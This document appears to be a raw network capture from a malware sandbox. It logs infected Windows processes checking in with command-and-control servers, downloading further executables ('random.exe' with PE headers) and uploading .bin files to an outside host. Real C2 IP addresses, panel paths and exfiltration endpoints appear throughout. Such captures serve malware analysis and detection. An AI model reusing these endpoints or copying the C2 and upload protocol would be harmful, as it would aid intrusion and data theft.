Nov 23, 2024 01:15:41.202800989 CET	1236	IN	Data Raw: 9b ec 39 a1 7b 6b fe 1c af 70 67 d5 a5 d7 76 09 ea a0 8e 81 9f fb 98 ba e9 3c d3 b4 23 5c d2 ad f7 cc 54 5a b9 2c 6e e7 b4 7c be 7b 64 d2 e2 29 fc 0c 61 93 fb 4d 6c 35 9c b2 da b2 46 ac 12 88 b7 d4 60 69 9f fb c0 ae 9a 71 de 5b 95 6b c2 fa c7 d3 Data Ascii: 9{kpgv<#\TZ,n\|{d)aMl5F`iq[k?zI1PPFd{;o,\aSex c`fivX^`ev4vLR}n{gVvOjnu\|glbSoUy}f
Nov 23, 2024 01:15:41.322144032 CET	1236	IN	Data Raw: e7 d8 16 a5 d8 d9 6c e7 ef 63 72 f9 3b d3 0c 66 1c 61 de 1d 95 6e 0e f9 f7 b0 db 71 9e 63 d1 ef f4 ef 4c ea 87 63 7a b3 d8 9e 5f 97 f4 8a 4c e7 4f 64 12 7d 9d a4 56 ec 63 a1 cd e8 95 bc 73 19 1c 58 04 b7 18 12 0d b9 d3 6e b2 15 af 20 11 5b c4 12 Data Ascii: lcr;fanqcLcz_LOd}VcsXn [\|f&nh`mlz}gCtxh`7`C;!5>@n&`Pb`X B*~_=P^Sz` W`DJ;< ~d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50093	185.215.113.43	80	8224	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:46.877273083 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 33 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008305001&unit=246122658369
Nov 23, 2024 01:15:48.231333971 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 00:15:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50094	185.215.113.206	80	4564	C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:47.802280903 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 01:15:49.165618896 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:15:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 01:15:49.370759010 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHCFBAAAFHJDGCBFIIJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 46 42 41 41 41 46 48 4a 44 47 43 42 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 44 37 33 39 44 44 42 45 32 45 33 34 34 31 30 34 31 38 31 34 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 46 42 41 41 41 46 48 4a 44 47 43 42 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 46 42 41 41 41 46 48 4a 44 47 43 42 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------CGHCFBAAAFHJDGCBFIIJContent-Disposition: form-data; name="hwid"70D739DDBE2E3441041814------CGHCFBAAAFHJDGCBFIIJContent-Disposition: form-data; name="build"mars------CGHCFBAAAFHJDGCBFIIJ--
Nov 23, 2024 01:15:49.814584970 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:15:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50100	185.215.113.16	80	8224	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:48.355846882 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 01:15:49.775660992 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 00:15:49 GMT Content-Type: application/octet-stream Content-Length: 922112 Last-Modified: Fri, 22 Nov 2024 23:44:31 GMT Connection: keep-alive ETag: "6741175f-e1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 57 17 41 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELWAg"bw@pbc@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 23, 2024 01:15:49.775712967 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DY
Nov 23, 2024 01:15:49.775727987 CET	1236	IN	Data Raw: e8 50 c1 01 00 68 30 24 44 00 e8 eb ef 01 00 59 c3 b9 04 25 4d 00 e8 9d 98 00 00 68 3f 24 44 00 e8 d5 ef 01 00 59 c3 56 8b f1 8d 4e 18 e8 b4 87 00 00 8d 4e 08 e8 ac 87 00 00 6a 28 56 e8 e2 ec 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 ec 38 c7 05 Data Ascii: Ph0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\I0MH,M3MMMMYMMM3MTMXM\
Nov 23, 2024 01:15:49.775762081 CET	1236	IN	Data Raw: 8b ce c7 06 44 c9 49 00 e8 74 02 00 00 ff 76 04 e8 82 e8 01 00 8b f3 c7 87 4c fd ff ff 40 c9 49 00 59 39 9f 54 fd ff ff 0f 87 f2 0f 04 00 ff b7 50 fd ff ff 89 9f 54 fd ff ff e8 58 e8 01 00 8b f3 c7 87 3c fd ff ff 40 c9 49 00 59 39 9f 44 fd ff ff Data Ascii: DItvL@IY9TPTX<@IY9D@D.,@IY9404Y$<IvY-
Nov 23, 2024 01:15:49.775778055 CET	1236	IN	Data Raw: 64 00 00 00 33 c9 66 a3 32 15 4d 00 41 a2 34 15 4d 00 6a 0a 89 0d 38 15 4d 00 89 0d 3c 15 4d 00 89 0d 40 15 4d 00 a2 50 15 4d 00 66 a3 fc 16 4d 00 89 0d f4 16 4d 00 89 0d f8 16 4d 00 b9 fa 00 00 00 58 89 0d 14 17 4d 00 a3 44 15 4d 00 a3 48 15 4d Data Ascii: d3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q
Nov 23, 2024 01:15:49.775827885 CET	1236	IN	Data Raw: 8b 4f 04 8b 45 f8 8b 04 81 66 83 78 08 7f 0f 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e c9 c2 08 00 e8 de 08 00 00 eb f3 8b 49 30 eb e5 55 8b ec 83 ec 18 83 65 Data Ascii: OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSVu3WyQ>t
Nov 23, 2024 01:15:49.775846004 CET	1236	IN	Data Raw: 04 04 00 8b 55 f8 8b 5d fc 83 e8 01 0f 85 ba fe ff ff e9 1e 04 04 00 8b 5d fc 8d 45 ec 43 89 7d ec 50 8d 8d 6c ff ff ff 89 5d fc 47 e8 ed 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 55 f8 e9 8a fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 bc 05 04 00 Data Ascii: U]]EC}Pl]GpEUAjYf9HEHOlEuE{lepEE;&r8EE}TPGZEHXE!#AjYf9Hm
Nov 23, 2024 01:15:49.775862932 CET	1236	IN	Data Raw: c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 8b 06 89 07 8d 4f 10 8b 46 04 89 47 04 8b 46 08 89 47 08 8b 46 0c 89 47 0c 8d 46 10 83 61 08 00 50 e8 e0 d7 00 00 8d 46 20 8d 4f 20 83 61 08 00 50 e8 d0 d7 00 00 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 40 89 51 Data Ascii: UVuWOFGFGFGFaPF O aP_^]33@QAQA,Q Q(UE}}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL
Nov 23, 2024 01:15:49.775924921 CET	1236	IN	Data Raw: c9 c2 0c 00 55 8b ec b8 00 00 01 00 e8 9e f1 03 00 56 57 68 ff 7f 00 00 8d 85 00 00 ff ff 8b fa 50 ff 31 ff 15 0c c2 49 00 8b f0 8b cf 8d 85 00 00 ff ff 50 e8 7d 3d 00 00 85 f6 5f 0f 95 c0 5e c9 c3 55 8b ec b8 58 00 01 00 e8 60 f1 03 00 a0 64 13 Data Ascii: UVWhP1IP}=_^UX`dMVuWG~"uQVqYPVw_^UtSV3MW]{uME4I]]]]xMMEhIM'nj5M
Nov 23, 2024 01:15:49.775940895 CET	1236	IN	Data Raw: 53 56 57 6a 2c 8d 45 c8 c7 45 c4 30 00 00 00 6a 00 50 8b f9 e8 b2 f0 01 00 8b 45 14 83 c4 0c 8b 8f d0 09 00 00 33 f6 89 4d fc 6a 08 5b 6a 01 5a 2d 00 02 00 00 0f 85 eb fb 03 00 6a 40 5e 6a f5 8b cf e8 10 00 00 00 85 77 0c 0f 85 9f fc 03 00 5f 5e Data Ascii: SVWj,EE0jPE3Mj[jZ-j@^jw_^[UQSVWjYwxvU};tPuEEP_^[UVjUYa~uNN^]FHUVE
Nov 23, 2024 01:15:49.895368099 CET	1236	IN	Data Raw: 00 8b ce e8 10 72 00 00 83 c6 10 83 ef 01 75 f1 83 0d 64 23 4d 00 ff b8 90 19 4d 00 5f 5e 66 89 1d 24 1b 4d 00 89 1d 28 1b 4d 00 89 1d 2c 1b 4d 00 88 1d 30 1b 4d 00 89 1d 34 1b 4d 00 89 1d 38 1b 4d 00 88 1d 3c 1b 4d 00 89 1d 40 1b 4d 00 89 1d 60 Data Ascii: rud#MM_^f$M(M,M0M4M8M<M@M`#M[UVujP@#P[^]USVW3Ex}WtKEE33ft0E}PEEf9Et#C_fu}!_^[AU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50102	34.116.198.130	80	7808	C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:48.748835087 CET	641	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 462 Content-Type: multipart/form-data; boundary=------------------------MeRcTtbcBoMABFWyrwGEtv Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4d 65 52 63 54 74 62 63 42 6f 4d 41 42 46 57 79 72 77 47 45 74 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 48 61 77 69 67 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a c2 9b 44 97 88 17 28 d2 84 5f 32 03 dc a5 39 27 c8 a8 a1 65 9a 5f 34 0d 07 15 7b 77 ea 55 99 21 1a 1e 8a d0 11 8b 83 73 13 c1 32 67 ef db bf c0 a0 0d 49 77 66 9d 98 a5 51 8c e8 24 b1 06 90 7f 13 17 91 99 55 6d 1a c0 3c 06 9e df 24 d4 8e 7d 49 81 54 40 62 01 4f d5 3e 4a 41 17 f2 73 3b d2 cd 32 a8 8d ef a8 2d 98 9b 70 34 eb b5 30 46 58 73 6d fb 5a 32 74 45 3d ad d8 df 62 c9 21 c5 dc ae f9 d7 ab f5 4d 74 5c e2 0d d7 35 ed 8f b9 f6 fd ce 40 93 ae 3d b2 2b 4d c4 7b d5 38 ab c3 29 98 37 2b 99 63 27 57 c8 ac ce 58 db fe af 45 d1 03 21 [TRUNCATED] Data Ascii: --------------------------MeRcTtbcBoMABFWyrwGEtvContent-Disposition: form-data; name="file"; filename="Hawiga.bin"Content-Type: application/octet-streamD(_29'e_4{wU!s2gIwfQ$Um<$}IT@bO>JAs;2-p40FXsmZ2tE=b!Mt\5@=+M{8)7+c'WXE!2]uC7x1"<~>xvb7:6y4QIyQ!l<o,_--------------------------MeRcTtbcBoMABFWyrwGEtv--
Nov 23, 2024 01:15:50.084546089 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 23 Nov 2024 00:15:49 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50110	34.116.198.130	80	7808	C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:51.478688955 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 66981 Content-Type: multipart/form-data; boundary=------------------------gyW34RPp8Tj5f1urw5pSBQ Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 67 79 57 33 34 52 50 70 38 54 6a 35 66 31 75 72 77 35 70 53 42 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 75 6d 65 6b 61 6b 69 71 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 9a ae 2d 1f 41 3e 8e f1 fd 64 9b 4e 48 7e 7b 2d d9 49 09 eb 0c b6 fb 82 60 f2 69 2a 55 83 33 14 ac 26 09 ff 93 f0 06 70 d9 fa 9a 45 b0 5b 5d a7 b2 58 13 9c 87 91 09 11 4f ce 73 4b 74 dd 25 57 28 3b d2 b7 e9 7f 1c 72 3b 61 06 3f 21 8d 81 f1 82 b2 8c 51 7d 05 f2 c8 e9 92 6d 9a d4 33 86 e8 f7 2c 1c 24 49 2d 8d 8c 6c e4 74 8d 50 9b 0c 85 66 09 43 06 63 7a 46 95 5f e8 b1 c1 10 96 74 c1 b9 01 02 dc 19 15 db 49 85 1e b7 5b 73 76 94 9d 8a f0 4e 20 e1 d0 be ac bd 1a 14 26 28 a8 a3 32 8e 24 ab 95 8d ae 27 fa 97 99 a6 23 f0 ff 66 [TRUNCATED] Data Ascii: --------------------------gyW34RPp8Tj5f1urw5pSBQContent-Disposition: form-data; name="file"; filename="Vumekakiq.bin"Content-Type: application/octet-stream-A>dNH~{-I`iU3&pE[]XOsKt%W(;r;a?!Q}m3,$I-ltPfCczF_tI[svN &(2$'#fb"m"9>:W;f+{Vx@Jcn#VraETen8jAYibs68TNxsu%?cYL#!Z3=%^nT!/Sy=\|D\|HpMs_+B&u=rG'i:$ca$y8J0EV~e<R;Hbp? M63Hi:('iZY_}9sqpb7#h~SsStp6W5z v5o/cY<Rl10J`wAnZt_NX0w^Mubzjk'{`E^_2T5oBDh?bVOxW1.KzVY9hvupBIE\|KC%In3w0}roz^W=Ff39@u^}KN/n{~'ULYp84cAtiMCN [TRUNCATED]
Nov 23, 2024 01:15:51.598422050 CET	7416	OUT	Data Raw: d6 c7 59 7e 59 e4 2e 32 0c 24 a1 31 d3 78 78 b5 67 a8 55 fd 51 09 75 65 c7 0d 13 23 1f 6b 09 1b 4f f7 56 99 7f 8c 08 69 6b 39 1f 26 e3 f3 49 e9 62 0d 2a 05 08 1f 07 87 bf d6 39 52 9a 45 ec f4 b7 24 61 14 2f dd 68 d6 44 cc a4 a9 32 59 e9 27 e3 ba Data Ascii: Y~Y.2$1xxgUQue#kOVik9&Ib*9RE$a/hD2Y'<5w1iL#w42(C(q+NvAS,uJb7ApwSpWdB-2R2aH1K!^I:@x=f}aCt#Z0=W]KzZ7$_7F\+J9"HB
Nov 23, 2024 01:15:51.598613024 CET	7416	OUT	Data Raw: a4 03 f7 dd 8e bd 71 29 5d 38 d8 30 ba ba f6 4d 79 05 34 ab eb 35 6b 03 ad 5e 16 16 b6 8c 9c 07 70 c0 c1 09 c0 72 62 c1 71 68 94 bc 5a 02 e3 7f f5 20 06 a8 52 84 68 c4 1a 4a f3 26 2e 22 11 4c 3d 6a 74 89 bd eb 48 62 10 ef 21 f1 86 a7 0f 70 47 27 Data Ascii: q)]80My45k^prbqhZ RhJ&."L=jtHb!pG'\l//R<e)8'D#.ws[h3y^6VW`aX];Q6&bTD+_Dk %-:> YYlYJ"dY) 7j$D{KY>Y;
Nov 23, 2024 01:15:51.598707914 CET	4944	OUT	Data Raw: a9 fb 42 9f fd 87 f0 9a db 07 d0 a9 4f 4c cd 76 5d d5 95 17 6e 99 43 36 19 5c 11 26 ae e6 42 83 8c bf f6 6a ad 76 55 c2 f6 bc c9 18 46 6b 26 1e 6d 47 2b 05 c0 9e dc e8 1f a8 f1 64 b6 f8 c6 4d 57 a6 c4 22 8a ab 81 7e 9e b6 2f 41 4e 5e 9d 89 eb cd Data Ascii: BOLv]nC6\&BjvUFk&mG+dMW"~/AN^MQ?#j 1)>S7'(==[s;Ez@YKRG{]h+K&\QM]dZJ[G(BD7-,>GOe%2{$J+P
Nov 23, 2024 01:15:51.598809958 CET	4944	OUT	Data Raw: bd 83 bc c8 77 bd 79 d1 64 37 7b 8b af 9d 42 c0 35 22 8d 57 81 9a e9 0c be aa 8f 2f 30 d9 17 92 00 73 c4 f7 3f 95 b2 31 bf ab 50 be d6 8b bb eb b5 96 0a 4a c2 1d b9 33 64 7e e4 cb 7e ab 05 67 7a b1 fc ef 2a bb 0c 6c 14 52 4f 6d ef b8 37 6f 97 05 Data Ascii: wyd7{B5"W/0s?1PJ3d~~gz*lROm7o(y/pIKJ%[XDKFsl~UhtUty=[ctxUT@IXAaq^Gp4C$zO6z$+/RZO$FJfbe+;4JpNy\|~P0EQ
Nov 23, 2024 01:15:51.718135118 CET	6180	OUT	Data Raw: d7 ae 60 b1 f7 9d ef 6a 4b de 95 4e 4d 7f e8 44 d5 b9 64 ad 2a 5e a3 ca b5 26 c0 1a 7a 8d 26 74 70 62 eb aa 3f eb a0 21 cf a1 ae f7 30 85 5e 44 a5 41 fc e2 a6 d2 ca 7f 0b 6a 55 f0 53 30 d1 82 ba 8f 4a cb ac 61 24 0f b3 a4 96 42 38 da 07 56 23 bb Data Ascii: `jKNMDd^&z&tpb?!0^DAjUS0Ja$B8V#(@gw)bU]86jdGdxa:,".;a^@fd2V!l.AY7Ef{zf}M(B4cc)"=a[-(L'hAAA:)OO,9
Nov 23, 2024 01:15:51.718205929 CET	6180	OUT	Data Raw: ae 43 1b 8f 8c f2 80 c8 98 2d 0d a3 4b 3a b9 84 19 9b 41 c0 63 68 80 22 a4 26 eb e0 01 11 10 82 be 2d c2 3f eb 38 39 d0 75 0c e4 0c 5f eb f5 99 c1 32 4c 0f 74 8c bb 54 c5 aa 89 f2 84 f6 64 bf b6 27 5a 7a ca 37 b8 79 40 03 4b e5 45 6a 85 69 6e 12 Data Ascii: C-K:Ach"&-?89u_2LtTd'Zz7y@KEjin{Kx,)t\|Nj-N`9h16^i<yp=iV;3K,f+Y`Q_GIp1Q;gpf*cL!AZ6t_%
Nov 23, 2024 01:15:51.718239069 CET	2472	OUT	Data Raw: 0d 09 34 31 1b 30 7e f5 39 2f 9b 8f 89 b2 c2 4d 4c 0d f8 89 79 ba 80 51 a2 27 39 d0 41 b1 cb 32 1a 15 93 d1 77 65 ca 8e e5 dc e5 dc 61 7a c7 d5 c1 e6 71 c8 a8 10 f7 4e b2 a1 d9 f1 d1 2b a1 1d e9 dc df 90 ef 1c c8 2c 34 e8 f2 ca c1 71 55 6f 7c 24 Data Ascii: 410~9/MLyQ'9A2weazqN+,4qUo\|$2!zaV?(>j(qtc3o<=np<F,itbv&0z#{64Sl*.sxn_uMkbcmlB>vU'OinS!3"9}
Nov 23, 2024 01:15:51.764816046 CET	15250	OUT	Data Raw: 5c c2 41 90 1c 26 66 f4 48 33 9d 85 92 ed 2d cd 68 04 cc a2 cf 9c 77 7c 98 27 19 96 7a 7c 40 90 af b7 c7 70 d8 b5 1a 60 44 34 95 0d 13 8f b7 16 87 52 f1 06 96 20 f6 91 09 8c d1 1a b7 b3 57 c3 5c be 3b 7b 2f 39 93 91 13 13 da 70 19 8f bc f1 d3 4f Data Ascii: \A&fH3-hw\|'z\|@p`D4R W\;{/9pOV4VD)%Pp1aUX\H+yB[DM4ifPX{hKO;Qni',PkKh~x{xf(AWH];B?$Ex!e
Nov 23, 2024 01:15:53.198043108 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 23 Nov 2024 00:15:52 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50118	185.215.113.43	80	8224	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:54.352032900 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 33 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008306001&unit=246122658369
Nov 23, 2024 01:15:55.613388062 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 00:15:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50125	185.215.113.16	80	8224	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:15:55.739285946 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 01:15:57.170968056 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 00:15:56 GMT Content-Type: application/octet-stream Content-Length: 2786816 Last-Modified: Fri, 22 Nov 2024 23:44:58 GMT Connection: keep-alive ETag: "6741177a-2a8600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 92 13 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @++`Ui` @ @.rsrc`2@.idata 8@ncjsrlmf@&:@pmvjnnxr `@.taggant@+"d*@
Nov 23, 2024 01:15:57.171052933 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:57.171175957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:57.171228886 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 01:15:57.171264887 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
